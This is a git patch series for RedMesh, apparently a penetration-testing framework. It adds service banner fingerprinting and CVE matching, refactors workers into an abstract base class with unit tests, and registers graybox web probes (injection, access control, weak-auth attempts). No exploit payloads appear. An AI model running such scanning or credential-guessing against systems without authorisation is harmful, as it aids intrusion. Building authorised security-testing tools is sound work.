raw["banner"] + + # --- 1. Version extraction + CVE check --- + for pattern, product in self._GENERIC_BANNER_PATTERNS: + m = pattern.search(banner_text) + if m: + version = m.group("ver") + raw["product"] = product + raw["version"] = version + findings.append(Finding( + severity=Severity.LOW, + title=f"Service version disclosed: {product} {version}", + description=f"Banner on {target}:{port} reveals {product} {version}. " + "Version disclosure aids attackers in targeting known vulnerabilities.", + evidence=f"Banner: {banner_text[:80]}", + remediation="Suppress or genericize the service banner.", + cwe_id="CWE-200", + confidence="certain", + )) + findings += check_cves(product, version) + break # First match wins + + return probe_result(raw_data=raw, findings=findings) + + # Protocol signatures for reclassifying services on non-standard ports. + # Each entry: (check_function, protocol_name, probe_method_name) + # Check functions receive raw bytes and return True if matched. + @staticmethod + def _is_redis_banner(data): + """Redis RESP: starts with +, -, :, $, or * (protocol type bytes).""" + return len(data) > 0 and data[0:1] in (b'+', b'-', b'$', b'*', b':') + + @staticmethod + def _is_ftp_banner(data): + """FTP: 220 greeting.""" + return data[:4] in (b'220 ', b'220-') + + @staticmethod + def _is_smtp_banner(data): + """SMTP: 220 greeting with SMTP/ESMTP keyword.""" + text = data[:200].decode('utf-8', errors='ignore').upper() + return text.startswith('220') and ('SMTP' in text or 'ESMTP' in text) + + @staticmethod + def _is_mysql_handshake(data): + """MySQL: 3-byte length + seq + protocol version 0x0a.""" + if len(data) > 4: + payload = data[4:] + return payload[0:1] == b'\x0a' + return False + + @staticmethod + def _is_rsync_banner(data): + """Rsync: @RSYNCD: version.""" + return data.startswith(b'@RSYNCD:') + + @staticmethod + def _is_telnet_banner(data): + """Telnet: IAC (0xFF) followed by WILL/WONT/DO/DONT.""" + return len(data) >= 2 and data[0] == 0xFF and data[1] in (0xFB, 0xFC, 0xFD, 0xFE) + + _PROTOCOL_SIGNATURES = None # lazy init to avoid forward reference issues + + def _generic_fingerprint_protocol(self, raw_bytes, target, port): + """Try to identify the protocol from raw banner bytes. + + If a known protocol is detected, reclassifies the port and runs the + appropriate specialized probe directly. + + Returns + ------- + dict or None + Probe result from the specialized probe, or None if no match. + """ + signatures = [ + (self._is_redis_banner, "redis", "_service_info_redis"), + (self._is_ftp_banner, "ftp", "_service_info_ftp"), + (self._is_smtp_banner, "smtp", "_service_info_smtp"), + (self._is_mysql_handshake, "mysql", "_service_info_mysql"), + (self._is_rsync_banner, "rsync", "_service_info_rsync"), + (self._is_telnet_banner, "telnet", "_service_info_telnet"), + ] + + for check_fn, proto, method_name in signatures: + try: + if check_fn(raw_bytes): + # Reclassify port protocol for future reference + port_protocols = self.state.get("port_protocols", {}) + old_proto = port_protocols.get(port, "unknown") + port_protocols[port] = proto + self.P(f"Protocol reclassified: port {port} {old_proto} → {proto} (banner fingerprint)") + + # Run the specialized probe directly + probe_fn = getattr(self, method_name, None) + if probe_fn: + return probe_fn(target, port) + except Exception: + continue + return None diff --git a/extensions/business/cybersec/red_mesh/worker/web/__init__.py b/extensions/business/cybersec/red_mesh/worker/web/__init__.py new file mode 100644 index 00000000..0db9a024 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/web/__init__.py @@ -0,0 +1,14 @@ +from .discovery import _WebDiscoveryMixin +from .hardening import _WebHardeningMixin +from .api_exposure import _WebApiExposureMixin +from .injection import _WebInjectionMixin + + +class _WebTestsMixin( + _WebDiscoveryMixin, + _WebHardeningMixin, + _WebApiExposureMixin, + _WebInjectionMixin, +): + """Combined web tests mixin.""" + pass diff --git a/extensions/business/cybersec/red_mesh/web_api_mixin.py b/extensions/business/cybersec/red_mesh/worker/web/api_exposure.py similarity index 99% rename from extensions/business/cybersec/red_mesh/web_api_mixin.py rename to extensions/business/cybersec/red_mesh/worker/web/api_exposure.py index a0aef396..0e3f18b0 100644 --- a/extensions/business/cybersec/red_mesh/web_api_mixin.py +++ b/extensions/business/cybersec/red_mesh/worker/web/api_exposure.py @@ -1,6 +1,6 @@ import requests -from .findings import Finding, Severity, probe_result, probe_error +from ...findings import Finding, Severity, probe_result, probe_error class _WebApiExposureMixin: diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/worker/web/discovery.py similarity index 99% rename from extensions/business/cybersec/red_mesh/web_discovery_mixin.py rename to extensions/business/cybersec/red_mesh/worker/web/discovery.py index e2c50fc8..7b607308 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/worker/web/discovery.py @@ -2,8 +2,8 @@ import uuid as _uuid import requests -from .findings import Finding, Severity, probe_result, probe_error -from .cve_db import check_cves +from ...findings import Finding, Severity, probe_result, probe_error +from ...cve_db import check_cves class _WebDiscoveryMixin: diff --git a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py b/extensions/business/cybersec/red_mesh/worker/web/hardening.py similarity index 99% rename from extensions/business/cybersec/red_mesh/web_hardening_mixin.py rename to extensions/business/cybersec/red_mesh/worker/web/hardening.py index de71f85f..1c085fad 100644 --- a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py +++ b/extensions/business/cybersec/red_mesh/worker/web/hardening.py @@ -4,7 +4,7 @@ import requests from urllib.parse import quote -from .findings import Finding, Severity, probe_result, probe_error +from ...findings import Finding, Severity, probe_result, probe_error class _WebHardeningMixin: diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/worker/web/injection.py similarity index 99% rename from extensions/business/cybersec/red_mesh/web_injection_mixin.py rename to extensions/business/cybersec/red_mesh/worker/web/injection.py index f5a77baa..f857b69b 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/worker/web/injection.py @@ -3,7 +3,7 @@ import requests from urllib.parse import quote -from .findings import Finding, Severity, probe_result, probe_error +from ...findings import Finding, Severity, probe_result, probe_error class _InjectionTestBase: From fe6f6dd07bf0a99108a62c3ba327082ddefaf95c Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 21:23:20 +0000 Subject: [PATCH 045/114] feat: extract BaseLocalWorker for GrayBox integration (phase 0) --- .../business/cybersec/red_mesh/constants.py | 6 + .../cybersec/red_mesh/mixins/live_progress.py | 37 ++- .../cybersec/red_mesh/mixins/report.py | 10 +- .../cybersec/red_mesh/pentester_api_01.py | 6 +- .../red_mesh/tests/test_base_worker.py | 253 ++++++++++++++++++ .../cybersec/red_mesh/worker/__init__.py | 3 +- .../business/cybersec/red_mesh/worker/base.py | 197 ++++++++++++++ .../red_mesh/worker/pentest_worker.py | 85 ++---- 8 files changed, 518 insertions(+), 79 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/tests/test_base_worker.py create mode 100644 extensions/business/cybersec/red_mesh/worker/base.py diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index d6face4a..d5c4acdd 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -260,3 +260,9 @@ "web_tests": "web_tests_completed", "correlation": "correlation_completed", } + +# Graybox scan phases in execution order +GRAYBOX_PHASE_ORDER = [ + "preflight", "authentication", "discovery", "graybox_probes", + "weak_auth", +] diff --git a/extensions/business/cybersec/red_mesh/mixins/live_progress.py b/extensions/business/cybersec/red_mesh/mixins/live_progress.py index 063d103d..55df16ad 100644 --- a/extensions/business/cybersec/red_mesh/mixins/live_progress.py +++ b/extensions/business/cybersec/red_mesh/mixins/live_progress.py @@ -6,12 +6,31 @@ """ from ..models import WorkerProgress -from ..constants import PROGRESS_PUBLISH_INTERVAL, PHASE_ORDER +from ..constants import PROGRESS_PUBLISH_INTERVAL, PHASE_ORDER, GRAYBOX_PHASE_ORDER def _thread_phase(state): - """Determine which phase a single thread is currently in.""" + """Determine which phase a single thread is currently in. + + Supports both network and webapp (graybox) scan types. Network + scans use the existing phase markers. Webapp scans use graybox_* + markers and map to their own phase names. + """ tests = set(state.get("completed_tests", [])) + scan_type = state.get("scan_type") + + if scan_type == "webapp": + # Graybox phase progression: + # preflight -> authentication -> discovery -> graybox_probes -> weak_auth -> done + if "graybox_weak_auth" in tests or "graybox_probes" in tests: + return "done" + if "graybox_discovery" in tests: + return "graybox_probes" + if "graybox_auth" in tests: + return "discovery" + return "preflight" + + # Network phase progression (unchanged): if "correlation_completed" in tests: return "done" if "web_tests_completed" in tests: @@ -148,12 +167,18 @@ def _publish_live_progress(self): live_hkey = f"{self.cfg_instance_id}:live" ee_addr = self.ee_addr - nr_phases = len(PHASE_ORDER) - for job_id, local_workers in self.scan_jobs.items(): if not local_workers: continue + # Determine phase order based on scan type (inspect first worker) + first_worker = next(iter(local_workers.values())) + if first_worker.state.get("scan_type") == "webapp": + phase_order = GRAYBOX_PHASE_ORDER + else: + phase_order = PHASE_ORDER + nr_phases = len(phase_order) + # Build per-thread data total_scanned = 0 total_ports = 0 @@ -185,9 +210,9 @@ def _publish_live_progress(self): } # Overall phase: earliest (least advanced) across threads - phase_indices = [PHASE_ORDER.index(p) if p in PHASE_ORDER else nr_phases for p in thread_phases] + phase_indices = [phase_order.index(p) if p in phase_order else nr_phases for p in thread_phases] min_phase_idx = min(phase_indices) if phase_indices else 0 - phase = PHASE_ORDER[min_phase_idx] if min_phase_idx < nr_phases else "done" + phase = phase_order[min_phase_idx] if min_phase_idx < nr_phases else "done" # Stage-based progress: completed_stages / total * 100 # During port_scan, add sub-progress based on ports scanned diff --git a/extensions/business/cybersec/red_mesh/mixins/report.py b/extensions/business/cybersec/red_mesh/mixins/report.py index 54357e29..e9e24939 100644 --- a/extensions/business/cybersec/red_mesh/mixins/report.py +++ b/extensions/business/cybersec/red_mesh/mixins/report.py @@ -15,7 +15,7 @@ class _ReportMixin: SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} - def _get_aggregated_report(self, local_jobs): + def _get_aggregated_report(self, local_jobs, worker_cls=None): """ Aggregate results from multiple local workers. @@ -23,6 +23,9 @@ def _get_aggregated_report(self, local_jobs): ---------- local_jobs : dict Mapping of worker id to result dicts. + worker_cls : type, optional + Worker class to resolve aggregation fields from. Defaults to + PentestLocalWorker for backward compat. Returns ------- @@ -35,7 +38,10 @@ def _get_aggregated_report(self, local_jobs): if local_jobs: self.P(f"Aggregating reports from {len(local_jobs)} local jobs...") for local_worker_id, local_job_status in local_jobs.items(): - aggregation_fields = PentestLocalWorker.get_worker_specific_result_fields() + if worker_cls and hasattr(worker_cls, 'get_worker_specific_result_fields'): + aggregation_fields = worker_cls.get_worker_specific_result_fields() + else: + aggregation_fields = PentestLocalWorker.get_worker_specific_result_fields() for field in local_job_status: if field not in dct_aggregated_report: dct_aggregated_report[field] = local_job_status[field] diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 75d5b987..2849a77c 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -769,11 +769,15 @@ def _close_job(self, job_id, canceled=False): local_workers = self.scan_jobs.pop(job_id, None) if local_workers: + # Resolve worker class for aggregation field registry + first_worker = next(iter(local_workers.values()), None) + worker_cls = type(first_worker) if first_worker else None + local_reports = { local_worker_id: local_worker.get_status() for local_worker_id, local_worker in local_workers.items() } - report = self._get_aggregated_report(local_reports) + report = self._get_aggregated_report(local_reports, worker_cls=worker_cls) if report: # Replace generically-merged scan_metrics with properly summed metrics thread_metrics = [r.get("scan_metrics") for r in local_reports.values() if r.get("scan_metrics")] diff --git a/extensions/business/cybersec/red_mesh/tests/test_base_worker.py b/extensions/business/cybersec/red_mesh/tests/test_base_worker.py new file mode 100644 index 00000000..79fb41ab --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_base_worker.py @@ -0,0 +1,253 @@ +""" +Contract enforcement tests for BaseLocalWorker. + +Verifies the abstract base class contract is correctly implemented +and that PentestLocalWorker's retrofit preserves all API-facing behavior. +""" + +import threading +import unittest +from unittest.mock import MagicMock + +from extensions.business.cybersec.red_mesh.worker.base import BaseLocalWorker +from extensions.business.cybersec.red_mesh.worker import PentestLocalWorker +from .conftest import DummyOwner + + +def _make_pentest_worker(**overrides): + """Helper: create a PentestLocalWorker with sensible defaults.""" + defaults = dict( + owner=DummyOwner(), + target="127.0.0.1", + job_id="test-job", + initiator="test-addr", + local_id_prefix="1", + worker_target_ports=[80, 443], + ) + defaults.update(overrides) + return PentestLocalWorker(**defaults) + + +class TestBaseLocalWorkerContract(unittest.TestCase): + """Verify BaseLocalWorker enforces the API contract.""" + + # ── Abstract method enforcement ── + + def test_cannot_instantiate_base(self): + """BaseLocalWorker is abstract — cannot be instantiated directly.""" + with self.assertRaises(TypeError): + BaseLocalWorker( + owner=MagicMock(), job_id="test", initiator="addr", + local_id_prefix="1", target="127.0.0.1", + ) + + # ── Shared attribute initialization ── + + def test_pentest_worker_is_base_worker(self): + """PentestLocalWorker inherits from BaseLocalWorker.""" + self.assertTrue(issubclass(PentestLocalWorker, BaseLocalWorker)) + + def test_shared_attributes_set(self): + """Base __init__ sets all shared attributes.""" + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, target="127.0.0.1", job_id="j1", + initiator="addr", local_id_prefix="1", + worker_target_ports=[80, 443], + ) + self.assertIs(worker.owner, owner) + self.assertEqual(worker.job_id, "j1") + self.assertEqual(worker.initiator, "addr") + self.assertEqual(worker.target, "127.0.0.1") + self.assertTrue(worker.local_worker_id.startswith("RM-1-")) + self.assertIsNone(worker.thread) # set by start() + self.assertIsNone(worker.stop_event) # set by start() + self.assertTrue(hasattr(worker, 'metrics')) + self.assertTrue(hasattr(worker, 'initial_ports')) + self.assertTrue(hasattr(worker, 'state')) + + # ── Threading contract ── + + def test_start_creates_thread_and_event(self): + """start() sets thread and stop_event.""" + worker = _make_pentest_worker() + worker.execute_job = lambda: None + worker.start() + self.assertIsInstance(worker.thread, threading.Thread) + self.assertIsInstance(worker.stop_event, threading.Event) + worker.thread.join(timeout=2) + + def test_stop_sets_event_and_canceled(self): + """stop() sets the stop_event AND state['canceled'].""" + worker = _make_pentest_worker() + worker.execute_job = lambda: None + worker.start() + worker.stop() + self.assertTrue(worker.stop_event.is_set()) + self.assertTrue(worker.state["canceled"]) + worker.thread.join(timeout=2) + + def test_check_stopped_after_stop(self): + """_check_stopped() returns True after stop_event is set.""" + worker = _make_pentest_worker() + worker.stop_event = threading.Event() + worker.state["done"] = False + self.assertFalse(worker._check_stopped()) + worker.stop_event.set() + self.assertTrue(worker._check_stopped()) + + def test_check_stopped_when_done(self): + """_check_stopped() returns True when state['done'] is True.""" + worker = _make_pentest_worker() + worker.stop_event = threading.Event() + worker.state["done"] = True + self.assertTrue(worker._check_stopped()) + + def test_check_stopped_when_canceled(self): + """_check_stopped() returns True when state['canceled'] is True.""" + worker = _make_pentest_worker() + worker.stop_event = threading.Event() + worker.state["canceled"] = True + self.assertTrue(worker._check_stopped()) + + def test_check_stopped_before_start(self): + """_check_stopped() works even before start() (stop_event is None).""" + worker = _make_pentest_worker() + self.assertIsNone(worker.stop_event) + self.assertFalse(worker._check_stopped()) + + # ── State dict contract ── + + def test_state_has_required_keys(self): + """State dict has all keys the API reads.""" + worker = _make_pentest_worker() + required_keys = [ + "done", "canceled", "open_ports", "ports_scanned", + "completed_tests", "service_info", "web_tests_info", + "port_protocols", "correlation_findings", + ] + for key in required_keys: + self.assertIn(key, worker.state, f"Missing state key: {key}") + + def test_ports_scanned_is_list(self): + """ports_scanned must be a list (API calls len() on it).""" + worker = _make_pentest_worker() + self.assertIsInstance(worker.state["ports_scanned"], list) + + def test_open_ports_is_list(self): + """open_ports must be a list (API calls set.update() on it).""" + worker = _make_pentest_worker() + self.assertIsInstance(worker.state["open_ports"], list) + + def test_done_defaults_false(self): + self.assertFalse(_make_pentest_worker().state["done"]) + + def test_canceled_defaults_false(self): + self.assertFalse(_make_pentest_worker().state["canceled"]) + + # ── initial_ports contract ── + + def test_initial_ports_is_list(self): + """initial_ports must be a list (API calls len() on it).""" + worker = _make_pentest_worker() + self.assertIsInstance(worker.initial_ports, list) + self.assertGreater(len(worker.initial_ports), 0) + + # ── local_worker_id contract ── + + def test_local_worker_id_is_string(self): + worker = _make_pentest_worker() + self.assertIsInstance(worker.local_worker_id, str) + self.assertTrue(worker.local_worker_id.startswith("RM-")) + + # ── get_status contract ── + + def test_get_status_returns_dict(self): + worker = _make_pentest_worker() + status = worker.get_status() + self.assertIsInstance(status, dict) + + def test_get_status_has_required_keys(self): + """get_status() returns all keys needed by _close_job.""" + worker = _make_pentest_worker() + status = worker.get_status() + required = [ + "job_id", "initiator", "target", + "open_ports", "ports_scanned", "completed_tests", + "service_info", "web_tests_info", "port_protocols", + "correlation_findings", "scan_metrics", + ] + for key in required: + self.assertIn(key, status, f"Missing status key: {key}") + + def test_get_status_scan_metrics_is_dict(self): + worker = _make_pentest_worker() + status = worker.get_status() + self.assertIsInstance(status["scan_metrics"], dict) + + # ── get_worker_specific_result_fields contract ── + + def test_result_fields_is_static(self): + """get_worker_specific_result_fields is a static method returning dict.""" + fields = PentestLocalWorker.get_worker_specific_result_fields() + self.assertIsInstance(fields, dict) + + def test_result_fields_has_core_keys(self): + """Aggregation fields include the keys the API expects.""" + fields = PentestLocalWorker.get_worker_specific_result_fields() + required = [ + "open_ports", "service_info", "web_tests_info", + "completed_tests", "port_protocols", "correlation_findings", + "scan_metrics", + ] + for key in required: + self.assertIn(key, fields, f"Missing aggregation field: {key}") + + # ── P() logging ── + + def test_p_delegates_to_owner(self): + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, target="t", job_id="j", + initiator="a", local_id_prefix="1", + worker_target_ports=[80], + ) + worker.P("test message") + self.assertTrue(len(owner.messages) > 0) + # Find the "test message" log entry (init also logs) + matching = [m for m in owner.messages if "test message" in m] + self.assertTrue(len(matching) > 0, "P() did not delegate to owner") + self.assertIn(worker.local_worker_id, matching[0]) + + +class TestPentestWorkerRetrofit(unittest.TestCase): + """Verify PentestLocalWorker still works after BaseLocalWorker retrofit.""" + + def test_mro_has_base(self): + """BaseLocalWorker is in the MRO.""" + self.assertIn(BaseLocalWorker, PentestLocalWorker.__mro__) + + def test_start_stop_inherited(self): + """start() and stop() come from BaseLocalWorker, not redefined.""" + self.assertNotIn('start', PentestLocalWorker.__dict__) + self.assertNotIn('stop', PentestLocalWorker.__dict__) + + def test_check_stopped_inherited(self): + self.assertNotIn('_check_stopped', PentestLocalWorker.__dict__) + + def test_p_inherited(self): + self.assertNotIn('P', PentestLocalWorker.__dict__) + + def test_execute_job_overridden(self): + """execute_job is defined on PentestLocalWorker (not inherited).""" + self.assertIn('execute_job', PentestLocalWorker.__dict__) + + def test_get_status_overridden(self): + self.assertIn('get_status', PentestLocalWorker.__dict__) + + def test_get_worker_specific_result_fields_overridden(self): + self.assertIn('get_worker_specific_result_fields', PentestLocalWorker.__dict__) + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/worker/__init__.py b/extensions/business/cybersec/red_mesh/worker/__init__.py index ddf1fd3e..91477511 100644 --- a/extensions/business/cybersec/red_mesh/worker/__init__.py +++ b/extensions/business/cybersec/red_mesh/worker/__init__.py @@ -1,4 +1,5 @@ +from .base import BaseLocalWorker from .pentest_worker import PentestLocalWorker from .metrics_collector import MetricsCollector -__all__ = ["PentestLocalWorker", "MetricsCollector"] +__all__ = ["BaseLocalWorker", "PentestLocalWorker", "MetricsCollector"] diff --git a/extensions/business/cybersec/red_mesh/worker/base.py b/extensions/business/cybersec/red_mesh/worker/base.py new file mode 100644 index 00000000..7abc8aef --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/base.py @@ -0,0 +1,197 @@ +""" +Abstract base for all RedMesh scan workers. + +Defines the contract that pentester_api_01.py relies on: +threading model, state shape, status reporting, and metrics. +PentestLocalWorker (network) and GrayboxLocalWorker (webapp) both +inherit from this class. +""" + +import threading +import uuid +from abc import ABC, abstractmethod + +from .metrics_collector import MetricsCollector + + +class BaseLocalWorker(ABC): + """ + Abstract base class for scan workers. + + Subclasses MUST: + - Call super().__init__() to initialize shared state + - Implement execute_job() with the scan pipeline + - Implement get_status() for aggregation + - Implement get_worker_specific_result_fields() for aggregation + - Set self.initial_ports in __init__ before start() is called + - Initialize self.state with at minimum the required keys (see below) + + The API (pentester_api_01.py) accesses: + - self.thread.is_alive() to check completion + - self.stop_event.is_set() to check cancellation + - self.state["done"] / self.state["canceled"] for status + - self.initiator for job routing + - self.local_worker_id as dict key in scan_jobs + - self.initial_ports for port count in progress + - self.metrics.build().to_dict() for live metrics + - self.get_status() for report aggregation + - self.start() / self.stop() for lifecycle + + State dict required keys (subclass must include all of these): + done: bool, canceled: bool, open_ports: list[int], + ports_scanned: list[int], completed_tests: list[str], + service_info: dict, web_tests_info: dict, port_protocols: dict, + correlation_findings: list + """ + + def __init__( + self, + owner, + job_id: str, + initiator: str, + local_id_prefix: str, + target: str, + ): + """ + Initialize shared worker state. + + Parameters + ---------- + owner : object + Parent object providing logger P(). + job_id : str + Job identifier. + initiator : str + Network address that announced the job. + local_id_prefix : str + Prefix for human-readable worker ID. The full ID is + "RM-{prefix}-{uuid4[:4]}" and is used as the dict key in + scan_jobs[job_id]. Both PentestLocalWorker and + GrayboxLocalWorker use this same attribute name. + target : str + Scan target (IP for network, hostname for webapp). + """ + self.owner = owner + self.job_id = job_id + self.initiator = initiator + self.target = target + self.local_worker_id = "RM-{}-{}".format( + local_id_prefix, str(uuid.uuid4())[:4] + ) + + # Threading — set by start(), checked by API + self.thread: threading.Thread | None = None + self.stop_event: threading.Event | None = None + + # Metrics — accessed by _publish_live_progress via + # worker.metrics.build().to_dict() + self.metrics = MetricsCollector() + + # Subclass MUST set self.initial_ports in __init__ before start(). + # _publish_live_progress reads len(self.initial_ports). + self.initial_ports: list[int] = [] + + # Subclass MUST initialize self.state with at minimum the required keys. + # The base class does NOT pre-populate — each subclass builds its + # own state dict with scan-type-specific keys on top of these. + self.state: dict = {} + + def start(self): + """ + Create thread and stop_event, start execute_job in background. + + Called by pentester_api_01.py after construction. + """ + self.stop_event = threading.Event() + self.thread = threading.Thread(target=self.execute_job, daemon=True) + self.thread.start() + + def stop(self): + """ + Signal the worker to stop. + + Called by _check_running_jobs, stop_and_delete_job, hard stop. + Sets stop_event so _check_stopped() returns True. + Also sets state["canceled"] for backward compat with code that + reads the flag directly instead of checking stop_event. + + Ordering guarantee: stop_event is set BEFORE state["canceled"]. + This ensures _check_stopped() sees the stop signal even if + there's a context switch between the two assignments. The GIL + makes dict writes atomic, so state["canceled"] is always + consistent. + """ + self.P(f"Stop requested for job {self.job_id} on worker {self.local_worker_id}") + if self.stop_event: + self.stop_event.set() + self.state["canceled"] = True + + def _check_stopped(self) -> bool: + """ + Check whether the worker should cease execution. + + Returns True if done or stop_event is set or canceled flag is set. + Subclasses call this between phases to support graceful cancellation. + """ + if self.state.get("done", False): + return True + if self.state.get("canceled", False): + return True + if self.stop_event is not None and self.stop_event.is_set(): + return True + return False + + @abstractmethod + def execute_job(self) -> None: + """ + Run the scan pipeline. Called on the worker thread. + + Subclass MUST: + - Set self.state["done"] = True when finished (in finally block) + - Set self.state["canceled"] = True if _check_stopped() was True + - Call self.metrics.start_scan() at the beginning + - Call self.metrics.phase_start/phase_end for each phase + - Append phase markers to self.state["completed_tests"] + """ + ... + + @abstractmethod + def get_status(self, for_aggregations: bool = False) -> dict: + """ + Return a status snapshot for aggregation. + + Called by _maybe_close_jobs, _close_job, get_test_status. + + The returned dict MUST include: + - job_id, initiator, target + - open_ports (list), ports_scanned, completed_tests (list) + - service_info (dict), web_tests_info (dict), port_protocols (dict) + - correlation_findings (list) + - scan_metrics (dict from self.metrics.build().to_dict()) + + If not for_aggregations: + - local_worker_id, progress, done, canceled + """ + ... + + @staticmethod + @abstractmethod + def get_worker_specific_result_fields() -> dict: + """ + Define aggregation strategy per result field. + + Called by _get_aggregated_report to know how to merge results + from multiple workers of the same job. + + Returns dict mapping field name to aggregation type/callable: + - list: union (deduplicate + sort) + - dict: deep merge + - sum: sum values + - min/max: take min/max + """ + ... + + def P(self, s, **kwargs): + """Log a message with worker context prefix.""" + s = f"[{self.local_worker_id}:{self.target}] {s}" + self.owner.P(s, **kwargs) diff --git a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py index 3dd1e5dc..b844974d 100644 --- a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py @@ -7,6 +7,7 @@ import traceback import time +from .base import BaseLocalWorker from .service import _ServiceInfoMixin from .correlation import _CorrelationMixin from ..constants import ( @@ -18,13 +19,15 @@ ) from .web import _WebTestsMixin -from .metrics_collector import MetricsCollector +# Note: MetricsCollector is no longer imported directly — it's initialized +# by BaseLocalWorker.__init__() via worker/base.py. class PentestLocalWorker( _ServiceInfoMixin, _WebTestsMixin, _CorrelationMixin, + BaseLocalWorker, ): """ Execute a pentest workflow against a target on a dedicated thread. @@ -111,13 +114,16 @@ def __init__( if exceptions is None: exceptions = [] - self.target = target - self.job_id = job_id - self.initiator = initiator - self.local_worker_id = "RM-{}-{}".format( - local_id_prefix, str(uuid.uuid4())[:4] + # Initialize base class — sets owner, job_id, initiator, target, + # local_worker_id, thread, stop_event, metrics, initial_ports, state + super().__init__( + owner=owner, + job_id=job_id, + initiator=initiator, + local_id_prefix=local_id_prefix, + target=target, ) - self.owner = owner + self.scan_min_delay = scan_min_delay self.scan_max_delay = scan_max_delay self.ics_safe_mode = ics_safe_mode @@ -175,7 +181,7 @@ def __init__( }, "correlation_findings": [], } - self.metrics = MetricsCollector() + # Note: self.metrics already set by super().__init__() self.__all_features = self._get_all_features() @@ -302,67 +308,8 @@ def get_status(self, for_aggregations=False): return dct_status - def P(self, s, **kwargs): - """ - Log a message with worker context prefix. - - Parameters - ---------- - s : str - Message to emit. - **kwargs - Additional logging keyword arguments. - - Returns - ------- - Any - Result of owner logger. - """ - s = f"[{self.local_worker_id}:{self.target}] {s}" - self.owner.P(s, **kwargs) - return - - - def start(self): - """ - Start the pentest job in a new thread. - - Returns - ------- - None - """ - # Event to signal early stopping - self.stop_event = threading.Event() - # Thread for running the job - self.thread = threading.Thread(target=self.execute_job, daemon=True) - self.thread.start() - return - - - def stop(self): - """ - Signal the job to stop early. - - Returns - ------- - None - """ - self.P(f"Stop requested for job {self.job_id} on worker {self.local_worker_id}") - self.stop_event.set() - return - - - def _check_stopped(self): - """ - Determine whether the worker should cease execution. - - Returns - ------- - bool - True if done or stop event set. - """ - return self.state["done"] or self.stop_event.is_set() - + # start(), stop(), _check_stopped(), P() are ALL inherited from + # BaseLocalWorker. Not redefined here. def _interruptible_sleep(self): """ From 258ad181ee4df0e54eaf14594d32453e5d60009c Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 21:39:01 +0000 Subject: [PATCH 046/114] feat: add core modules for gray box (phase 1) --- .../business/cybersec/red_mesh/constants.py | 36 ++- .../cybersec/red_mesh/graybox/__init__.py | 0 .../cybersec/red_mesh/graybox/findings.py | 85 +++++++ .../red_mesh/graybox/models/__init__.py | 0 .../red_mesh/graybox/models/target_config.py | 203 ++++++++++++++++ .../cybersec/red_mesh/mixins/report.py | 24 ++ .../cybersec/red_mesh/models/archive.py | 36 +++ .../cybersec/red_mesh/models/shared.py | 12 + .../cybersec/red_mesh/pentester_api_01.py | 5 +- .../cybersec/red_mesh/tests/test_api.py | 1 + .../red_mesh/tests/test_graybox_finding.py | 136 +++++++++++ .../red_mesh/tests/test_jobconfig_webapp.py | 227 ++++++++++++++++++ .../red_mesh/tests/test_target_config.py | 192 +++++++++++++++ 13 files changed, 955 insertions(+), 2 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/graybox/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/findings.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/models/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/models/target_config.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_target_config.py diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index d5c4acdd..0a62ee08 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -2,6 +2,33 @@ RedMesh constants and feature catalog definitions. """ +from enum import Enum + + +class ScanType(str, Enum): + """Scan type enum — extensible for future scan types (api, mobile, etc.).""" + NETWORK = "network" + WEBAPP = "webapp" + + +# Graybox probe registry — decouples probe addition from worker code. +# Adding a new probe = new probe file + new registry entry. No worker changes. +# Capabilities (requires_auth, requires_regular_session, is_stateful) live on +# the ProbeBase subclass, not in the registry — single source of truth. +GRAYBOX_PROBE_REGISTRY = [ + {"key": "_graybox_access_control", "cls": "access_control.AccessControlProbes"}, + {"key": "_graybox_misconfig", "cls": "misconfig.MisconfigProbes"}, + {"key": "_graybox_injection", "cls": "injection.InjectionProbes"}, + {"key": "_graybox_business_logic", "cls": "business_logic.BusinessLogicProbes"}, +] + +# Graybox timing and limits +GRAYBOX_DEFAULT_DELAY = 0.2 +GRAYBOX_WEAK_AUTH_DELAY = 1.0 +GRAYBOX_MAX_WEAK_ATTEMPTS = 20 +GRAYBOX_SESSION_MAX_AGE = 1800 + + FEATURE_CATALOG = [ { "id": 